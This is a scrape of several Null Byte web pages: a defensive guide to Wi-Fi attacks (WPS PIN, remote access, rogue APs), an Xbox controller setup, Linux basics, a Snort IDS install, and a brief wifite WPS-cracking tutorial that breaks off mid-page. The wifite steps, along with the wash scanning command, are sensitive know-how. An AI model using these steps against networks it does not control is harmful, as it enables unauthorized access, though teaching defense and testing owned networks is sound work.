the network, preventing users from logging into the router or trying to brute-force passwords. These systems should also be isolated from anything critical, and guest networks should restrict any users to their own subnets to minimize the risk of a password being shared. It's also recommended to change your Wi-Fi password periodically, at least once every six months or so, and keep track of who has access.Finally, practice the principle of least privilege, meaning only give out your password on a need-to-know basis. If someone has a burning desire to get the Wi-Fi password, ask yourself why, and treat it as seriously as giving out a PIN for a bank account. If you don't have the time to secure your network above and beyond what the average person does, don't risk letting anyone in that you don't trust.Method 3: WPS PIN AttacksWPS setup PIN attacks have been widely used since they were discovered, enabling brute-forcing attacks likeReaverto chew through possible setup PIN guesses and break into any affected router in around seven hours. This is due to poor choices in the way the password is validated, and the attack completely bypasses the password set by the user. Even with the most secure, secret password in the world, a router vulnerable to Reaver can be broken into and completely pwned by anyone in range.The WPS setup PIN typically can't be changed, unlike a password.Image by audioreservoir/FlickrWhile Reaver was scary enough, a new generation of vulnerabilities emerged with the development ofWPS Pixie-Dust. This attack took advantage of flaws in the way many routers set random values and dramatically changed the way that hackers took advantage of WPS setup PINs. With WPS Pixie-Dust, an affected router could be compromised in minutes or seconds, not hours.More Info:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust AttackOnce an attacker has your WPS setup PIN, they will always be able to dump your router's password, no matter how many times you change it. Since many routers do not let you change the PIN, this means the router is permanently compromised as long as the setting is left enabled. This will often also get them administrative access to the router and represents a huge hole in the security of a network that has otherwise strong security.Solution: Disable WPS & Verify with TestingWhile many routers offer the convenience of WPS setup PINs, most can be disabled to prevent Reaver or Pixie-Dust attacks from succeeding. To do so, you'll need to log into the settings of your router and look for the part of the page that references the "WPS Setup" or "WPS Access" settings. Once there, disable the WPS setup PIN. Once this is done, restart the router and check to see if the setting is still disabled.While this may be enough for some routers, some older models may say they've disabled the WPS setup PIN when in reality they still respond to WPS and Pixie-Dust attacks. If you suspect this may be the case, it would be wise to run a tool like Wash, which will locate every network nearby which has the WPS PIN enabled. If your router appears on this list even after you changed the setting, it's probably time to buy a new router.On Kali Linux, you can run thewashcommand if you have acompatible wireless network adapter. If you do, put it into monitor mode and type the following to display any nearby vulnerable networks.wash -i {monitor-interface}You should see something like the output below. Here, we can see a network called TRENDnet on channel 9 using WPS version 1.0. This means the device either has the setting enabled or it might not be possible to disable the setting on that particular model of router.root@kali:~/reaver-wps-fork-t6x/src# wash -i mon0 Wash v1.5.2 WiFi Protected Setup Scan Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg BSSID Channel RSSI WPS Verison WPS Locked ESSID -------------------------------------------------------------------------------------- D8:EB:97:13:BF:D9 9 00 1.0 No TRENDnetMethod 4: Remote-Access AttacksWhile remote access can be a handy feature, having this feature turned on by default is a terrible idea. The reason this is ill-advised stems from the way devices are discovered and indexed on services likeShodan. This search engine indexes any devices with ports which are directly exposed to the internet, such as IP cameras, routers, and IoT devices. While this should not be enabled by default, many devices come with this setting enabled for convenience and also come set with easy-to-guess default credentials.Image by OccupyTheWeb/Null ByteThe risk of remote access comes from two different sources, external and internal. Once a device has been discovered by Shodan, it's only a matter of time before someone, be it a hacker or a bot, tries to log in. When they do, an external attacker will usually be relying on a list of default passwords for that particular device. Once in, they can pivot to other devices in the network. This is especially bad if the router is exposed because an attacker compromising the router can take over the entire network.Don't Miss:How to Automate Shodan Scans for Vulnerable Devics with PythonThe internal risk of this attack is that someone with temporary access via LAN or the Wi-Fi password can enable remote administration and then simply leave and bide their time. Any time they want to connect to the network remotely, they can simply log in with the credentials they set up to do so. Many times routers will have this feature and make easy to enable, allowing an attacker to take advantage of momentary access to plant a permanent back door.Solution: Disable Remote Access & Port ForwardingThe first step you can take to ensure your devices aren't exposing ports directly to the internet is to log into the administrative portal and look for a tab that mentions "Port Forwarding" rules or settings. This is the section of the router where you can add port forwarding rules, and it may be located under the "Advanced" tab on some devices. When you find the page, you should expect to see no port forwarding rules there, as seen in the image below.Image by Takhion/Null ByteIf, however, your router's port forwarding page already has rules entered, you will want to immediately determine if they were enabled for a legitimate or necessary reason. If not, you should disable these settings immediately. While these rules may allow things like access to webcams from an external network or an app, if you don't recognize them, it's generally not worth the risk.Method 5: Rogue Access PointsA rogue access point is a W-Fi network designed to trick users into connecting. After doing so, it's capable of stealing passwords, controlling your internet experience, and spying on connected devices. Hackers deploying rouge access points don't need an expensive setup, as there are tools like theWi-Fi Pumpkinwhich run on simple, low-cost hardware like theRaspberry Pi.More Info:Build a Pumpkin Pi, a Pocket-Sized Rogue AP & MITM FrameworkA simple setup like this can force a user off their normal network with a series of deauthentication attacks. Once the frustrated user finds they can't use their normal network, a similarly named network with no password is provided to tempt the user.Image by SADMIN/Null ByteAfter connecting, this fake network will often act like the router is installing an update or otherwise restarting, and request a password to reboot. While this might seem suspicious, the average user focusing on their work will simply be wanting to deal with the distraction quickly, often entering their Wi-Fi password without a second thought.Tools likeAirgeddonallow tremendous flexibility for a hacker in creating fake APs, and the "Evil Twin attack" module uses a customizable phishing page to allow hackers to automatically generate phishing pages in different languages. While these attacks are impressive, the reason they work is that they trick a user into connecting to a network other than one they trust.More Info:Stealing Wi-Fi Passwords with an Evil Twin AttackThe way your laptop and phone searches for Wi-Fi can also be enough to take over your connection if you use a lot of free Wi-Fi networks that don't require a password. When your phone or laptop sends probe frames asking if any recently connected to networks are available, attackers can create a fake Wi-Fi network with the same name as the one your device is searching for. If the network didn't have a password, your device will connect seamlessly without warning you.Solution: Spot Signs of a Rogue APWhen you're using Wi-Fi, you should always be aware of what network your computer is connected to. It's easy to test this by turning on the personal hotspot on your phone and naming the network the name of a coffee shop you've used the Wi-Fi of lately and no password. If your computer connects automatically, it's likely that you wouldn't even know if an attacker were to take over your internet connection.The ways that computers store the wireless networks they've joined isn't very smart, and most computers will automatically join any network with the same name of a network they've joined before. The exception to this rule is if the network has different security settings from the one that was visited prior, like suddenly requiring a password.On Windows, you can disable the setting of automatically connecting when in range.You should go into your computer's Wi-Fi settings and delete any networks you no longer wish to connect to. Above, you can see the wireless settings for a network on a Windows system. Below, a macOS system provides the options to prioritize or delete networks previously joined.If you don't want your computer's connection to be taken over by a random network you forgot you connected to weeks ago, make sure to delete these and test to make sure your computer doesn't connect to networks with the same name.Next, it's smart to avoid connecting to unknown networks whenever possible, and instead, use your phone's hotspot or a trusted network. Make sure to use a VPN whenever possible to ensure that even if your connection is intercepted, it won't be as easy as injecting content into webpages to steal your credentials. Even while using aVPN, be suspicious whether it's connecting to a conveniently available "Google Starbucks" Wi-Fi network miles from the nearest coffee shop or just resorting to using a new one when your trusted network doesn't work.Stay Safe Out There!Wi-Fi hacking can take many forms, but by hardening your defenses and ensuring there are no easy routes into your network, you can make it a lot harder for someone wanting to break into your network. There are two parts to staying safe when it comes to Wi-Fi, securing your personal Wi-Fi network, and ensuring you're being careful and skeptical when you're using any network you don't control.In general, VPN services are helpful because they allow you to create an encrypted tunnel of traffic that prevents the owner of the traffic from seeing what you're doing, but this doesn't by any means protect you from the other risks of connecting to unknown networks. Stay safe, and if you need to use Wi-Fi and the only option is a network you don't trust, consider using your phone's hotspot instead.I hope you enjoyed this guide to defending against Wi-Fi hacking! If you have any questions about this tutorial or Wi-Fi hacking guides, feel free to leave a comment or reach me on Twitter@KodyKinzie.Don't Miss:How to Protect Yourself from Facebook Password CrackersFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null Byte (unless otherwise noted)RelatedHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Automate Wi-Fi Hacking with Wifite2How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Crack Wi-Fi Passwordsβ€”For Beginners!WiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Recover a Lost WiFi Password from Any DeviceHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceNews:Maxine Waters Article with VideoNews:Solar Powered Tent!!!
How to Play Emulated Games on Linux with Your Xbox 360 Controller Β« Null Byte :: WonderHowTo
I have to say, the Xbox 360 controller is the best controller ever created. When I first held it back in 2005, I swore that the dudes working at Microsoft came over and took a molding of my hands because of how great it felt. The thing felt like it wasborn there.What's even better about the 360 controller, is that the wired ones have a compatible driver in order for Windows to be able to game with them. This makes me not miss gaming on the Xbox so much. You can even use it for emulators, allowing you to play retro games with today's comfortable controllers! However, Linux users will fall short of being able to game with the lovely 360 controller.Luckily for us, there exists a great open source driver that we can use to actually use our 360 controller to utilize the whole computer! The driver isn't a driver in the normal sense. It takes the raw signals coming from the controller, and then converts them to corresponding key strokes. You can actually control the mouse on your computer with a 360 joystick, allowing you to browse the internet like a proverbial "boss".Follow along with me to learn how to set up an emulator and map the buttons with the 360 controller.RequirementsLinuxWired 360 controller (wireless controllers with a play and charge kitdo notwork)Installing the 360 Controller DriverWatch the below vTutorial to learn how to get the driver installed and thesnes9xemulator running with it.Please enable JavaScript to watch this video.Commandsyaourt -S xboxdrvyaourt -S snes9x-gtksudo xboxdrvWant more Null Byte?Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viawallpapergydRelatedHow To:Play Any Android Game with a PS3 Controller (Or Other Gamepad)How To:Paint an Xbox 360 game controllerHow To:Play Practically Any Old Game on Almost Any Platform with the RetroArch EmulatorHow To:Correctly Press the Bumpers on the New Xbox One ControllerHow To:Play Windows PC games with an XBox 360 controllerHow To:Use a wired XBox 360 controller to play PC gamesHow To:Connect Your Xbox Wireless Controller to Your iPhone to Play Games More EasilyHow To:Fix Your Game Controller's Analog Stick with a Furniture Gripper PadHow To:Attach a wireless Xbox 360 controller to your Android Honeycomb deviceHow To:Use Your Xbox 360 Headset with Your Xbox One ControllerHow To:Make a rapid fire controller mod for an XBox 360How To:Take apart an Xbox 360 controllerHow To:Let paint layers dry on an Xbox 360 controllerHow To:Paint tiger stripes on an XBOX 360 controllerNews:The Good and the Ugly of Console Controller Add-OnsNews:Price Drop! Xbox 360 Arcade now $149!News:Kinect Price Revealed; Sony Move ComparisonHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:Is the End Coming for Quadriplegic Gaming?How To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxNews:The Brilliant Work of Zeboyd Games Highlights Some Hideous Flaws in XBLIGNews:Kinect as a web browser controllerNews:Minecraft for Xbox 360How To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsHow To:Revert to the Old Netflix App on the New Xbox 360 UpdateHow To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PCPlayMemories Studio:New Video Editor for the Playstation 3?News:Singstar Dance, Dance Central, or Just Dance 2?How To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesNews:The World's Most Expensive Video Games and Consoles EverNews:Friday Indie Game Review Roundup: Hoard, Jamestown and Toy Soldiers 2News:Open Your Chakras with Deepak Chopra's Leela for Wii and Xbox 360How To:Earn the 'Passive Aggressive' Achievement in RageHow To:Tim Schafer and Cookie Monster Demonstrate How Awesome They Are TogetherHow To:Earn the "Chasing the Game" and "The Take" Achievements in Dragon Age II: Mark of the Assassin DLCKinect:Microsoft's answer to the WiiHow To:Get the 'Genius' Achievement in Batman: Arkham CityNews:Friday Indie Game Review Roundup: Digital Board Games (No Assembly Required)News:Xbox 360 Interface Update Finally Live
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files) Β« Null Byte :: WonderHowTo
In myfirst tutorial on Linux basics, I discussed the importance of hackers using Linux and the structure of the directory system. We also looked briefly at thecdcommand. In this second Linux guide, I'll spend a bit more time with changing directories, listing directories, creating files and directories, and finally, getting help.Let's open upBackTrackand getting started learning more Linux for the aspiring hacker.Step 1: Change Directory (Cd)We can change directories in multiple ways withcd. As I showed you inmy previous article, we can usecd ..to move up one level in the directory tree. We can also move directly to the root directory by typingcd /or move to our home directory bycd ~.More often, we will usecdto move to a directory by using the absolute path of the directory. This mean that we write out the entire path of the directory we want to move to aftercd. We can also move to the directory by using the relative path of the directory. This means that we don't need to write the entire path, but simply use the path that we're currently in and append to it. Let's look at some examples.Let's say we're in our root user directory inBackTrackand we want to move to theaircrack-ngdirectory (we'll be doing some aircrack tutorials soon). We can simply type:bt > cd /pentest/wireless/aircrack-ngThis will take us directly to theaircrack-ngdirectory.Now let's say we want to go to thescripts sub-directorywithinaircrack-ng. We could type out the full path to the sub-directory, but it's much simpler to type the relative path from where we are. We know we are/pentest/wireless/aircrack-ng, so type:bt > cd scriptsAnd that takes us to thescripts sub-directorywithinaircrack-ngor/pentest/wireless/aircrack-ng/scripts.Once again, it's critical to emphasize that Linux is case sensitive, so typing the directory without the proper case will result in the error message, "no such file or directory".Step 2: Listing Command (Ls)Once of most used and important commands in Linux islsorlist. This command is used to list the contents of a directory or sub-directory so that we can see the contents. It's very similar to thedircommand in Windows. So let's use it in theaircrack-ngdirectory;bt > lsWe can see that Linux listed all the files and directories within theaircrack-ngdirectory. Linux allows us to modify its commands by using switches; these are usually letters preceded by the dash(-). Withls, it's helpful to use two of theses switches,-aand-l.The-aswitch means all, so when we use it, Linux will list all files and directories, even those that are hidden. When we use the-lswitch, it gives us a long listing, meaning it gives us info on the security permissions, the size, the owner, the group of the file or directory, when it was created, etc.Let's type:bt > ls -laWe'll examine more closely the security permissions in a later tutorial, but you must know that you need execute(x)permission on any file you want to execute. So, if you download a new tool, you must make certain that you have execute permission on it.Step 3: Create a File (Touch)The create a file in Linux, it's a bit different from Windows. In Linux, we use thetouchcommand. So, let's create a new file callednewfile:bt > touch newfileNow we can check to see if that file exists by doing a directory listing:bt > ls -laWe can see that new file has been created!Step 4: Create a Directory (Mkdir)Similar to Windows, we can create a directory by using themake directory command(mkdir). Let's now make a new directory.bt > mkdir newdirectoryNow typelsand we can see that a new directory has been created .Step 5: Getting Help (Man)Linux has a very useful utility calledman.Manis the manual for nearly every command. If you should forget what a command does, simply typemanand the name of the command and it will display the manual with all the info you need about that command, its switches, and arguments. For instance, type:bt > man touchWith most commands, you can also use either the-hswitch or the--helpswitch after the command to obtain "help" about a particular command. In the case of "touch", we must use the--helpto obtain help on thetouchcommand.bt > touch --helpAnd that's it for this brief tutorial on Linux for aspiring hackers. Make sure to check outthe first partif you haven't already.I'll be going more into depth in my next tutorial, so keep coming back!Penguin photoby mdidWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 3 (Managing Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 20 (Devices Files)How To:Linux Basics for the Aspiring Hacker: Configuring ApacheHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 7 (Managing Permissions)How To:Hack a Site Knowing a Bit of HTML (hackthissite.org) Part 3Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Recover Deleted Files in LinuxCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Use Cygwin to Run Linux Apps on WindowsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:Customize Your Linux DesktopHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training
Tor Β« Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort) Β« Null Byte :: WonderHowTo
Welcome back, my neophyte hackers!In the world of information security, the most common intrusion detection system (IDS) you will ever encounter isSnort. As you probably already know, an IDS works similarly to antivirus (AV) software on your desktop; It attempts to identify malicious software on your network and warns you of its presence.Snort, conceived by Martin Roesch in 1999, had become so popular that the networking giant Cisco purchased it in 2014, so you will likely see it built into nearly all Cisco devices in the near future. And since Cisco is the world's most widely used network device manufacturer, you are likely to encounter Snort everywhere.Even if your organization never uses Cisco products (unlikely) or Snort, you will likely benefit from understanding how this IDS works since most other intrusion detection systems work similarly.I have written afew articlesabout Snortin the past, but I thought it was time I put togethera comprehensive series on Snort. In this series, we will address how to use Snort from start to finish, including installation, configuration, managing output, rule writing, and alert monitoring.Let's start Snorting!Method 1: Installing Snort from the RepositoriesInstalling Snort is simple if you have Snort in your repository. Unfortunately, Snort is no longer in the Kali repository, so our first step is to add a repository thatdoeshave Snort. In this case, we will add some Ubuntu repositories.First, we need to open the/etc/sources.listfile. We can do this with any text editor (here, I will use Leafpad).kali > leafpad /etc/apt/sources.listAs you can see in the above screenshot, I added several Ubuntu repositories, which are also listed below. As Ubuntu is a fork from Debian (the base Linux distribution that Kali is built on), most Ubuntu packages will work on Kali.debhttp://ch.archive.ubuntu.com/ubuntu/saucy main restricteddeb-srchttp://ch.archive.ubuntu.com/ubuntu/saucy main restricteddebhttp://httpredir.debian.org/debianjessie maindeb-srchttp://httpredir.debian.org/debianjessie mainAfter saving the file to update our repositories list, we need to next update the packages list. We can do this by typing:kali > apt-get updateOnce our packages have been updated, we can now install the Snort package from the repository with:kali > apt-get install snortAnd that's all there is to it. Snort is installed and ready to go! To test it, simply type:kali > snort -VAs you can see, Snort responded with its version number (in this case, 2.9.2).Method 2: Installing Snort from SourceTo install Snort from source code is bit more complex and time-consuming, but the advantage is that Snort will be compiled specifically for your particular hardware and software configuration.This will provide you with significantly improved overall performance. As with any IDS, performance is critical. Slower performance by the IDS will either slow your overall network capability or drop packets. With the former, customers/users will be unhappy; with the latter, you will risk the security of your network.When using Snort in a secure production environment, installation from source is highly preferred. Furthermore, installing from source ensures that you are installing the latest version of Snort. Many of the repositories contain an older version. The current version of Snort is 2.9.8, while the repositories contain 2.9.2. Not a huge difference, but when we are trying to protect the "crown jewels," every little bit helps.Let's begin bycreating a directoryin Kali to download the source code to.kali > mkdir snort_sourceNext,navigateto that directory.kali > cd snort_sourceBefore we download Snort, we need to install the Data Acquisition library or DAQ. The DAQ has a few pre-requisites that we need to install.kali > apt-get install -y bison flexNow we can download and install DAQ for the Snort web site.kali > wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gzkali > tar -xvzf daq-2.0.6.tar.gzNext move to the daq directory.kali > cd daq-2.0.6Last, configure and make DAQ.kali > ./configurekali >makekali > installTo download the Snort source code directly from Cisco/Snort, we can use the wgetcommand as follows (new version links can be foundhere).kali > wgethttps://snort.org/snort/snort-2.9.8.0.tar.gzOnce it has been downloaded, we need to un-tar it and decompress it. (For more information on thetarcommand,check out my Linux Basics article.)kali > tar -xvzf snort-2.9.8.0.tar.gzNext, we need to change directories to where the new Snort files are located.kali > cd /snort-2.9.8.0Then, we need to configure it.kali > ./configure --enable-sourcefireAfterward, we need to use themakecommand, which determines which of the components of the source code needs to be recompiled and then issues the commands to do so.kali > makeFinally, wemake install. This takes our recompiled program components and places then in the proper directories.kali > make installBecause we installed new library files with this installation, we will need to update the shared libraries. We can do this with by typing:kali > ldconfigTo enable us to start and run Snort from any directory, we can make a symbolic link from the binaries in/usr/local/bin/snortand a new file in/usr/sbincalledsnort. Since/usr/sbinis in our PATH variable, we can then type Snort anywhere within our operating system to start our IDS.kali > ln -s /usr/local/bin/snort /usr/sbin/snortFinally, let's test our installation of Snort by typing:kali > snortAs you can see, Snort has started and is running successfully in packet dump mode, aka sniffer mode.Now that we have successfully installed Snort, we will progress to configuring it to detect malicious software. That will be in our next article inthis series, so keep coming back, my neophyte hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaMarius JΓΈrgenrud/Digi.noRelatedHack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 2 (Setting Up the Basic Configuration)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Compile a New Hacking Tool in KaliHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:An Introduction to Regular Expressions, Part 2Hack Like a Pro:How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection System)Hack Like a Pro:An Introduction to Regular Expressions (Regex)Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)How To:The Essential Skills to Becoming a Master HackerHow To:Detect network intrusions with Wireshark and SnortHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)IPsec Tools of the Trade:Don't Bring a Knife to a GunfightWeekend Homework:How to Become a Null Byte Contributor (3/16/2012)News:My Prank IdeasGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training
How to Hack Wi-Fi Using Wifite in Kali Β« Null Byte :: WonderHowTo
Welcome, my aspiring hackers!In this tutorial I'm gonna be showing you how to hack Wi-Fi using the wps compatibility of a router, in , of course, Kali.First, fire up Kali.Then, open up a terminal and typewifite.Wait for a minute, and watch closely as the BSSIDs begin to appear.See if the router you wanna hack hasyesin WPS Compatibility. If so, proceed to the next step.HitCtrl+Cto stop wifite.Now type in the number of the router, say, 6 or 9, and hit enter.It should start cracking the router's password by using the vulnerability in the wps compatibility of the router.Once its finished, the password should be displayed.Sorry for the "no picture" thing. This is my first tutorial.'"But you gave a picture!" Shut up!Now hit that Kudos button if ya liked the post!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Automate Wi-Fi Hacking with Wifite2How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHacking Android:How to Create a Lab for Android Penetration TestingHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Selecting a Good Wi-Fi 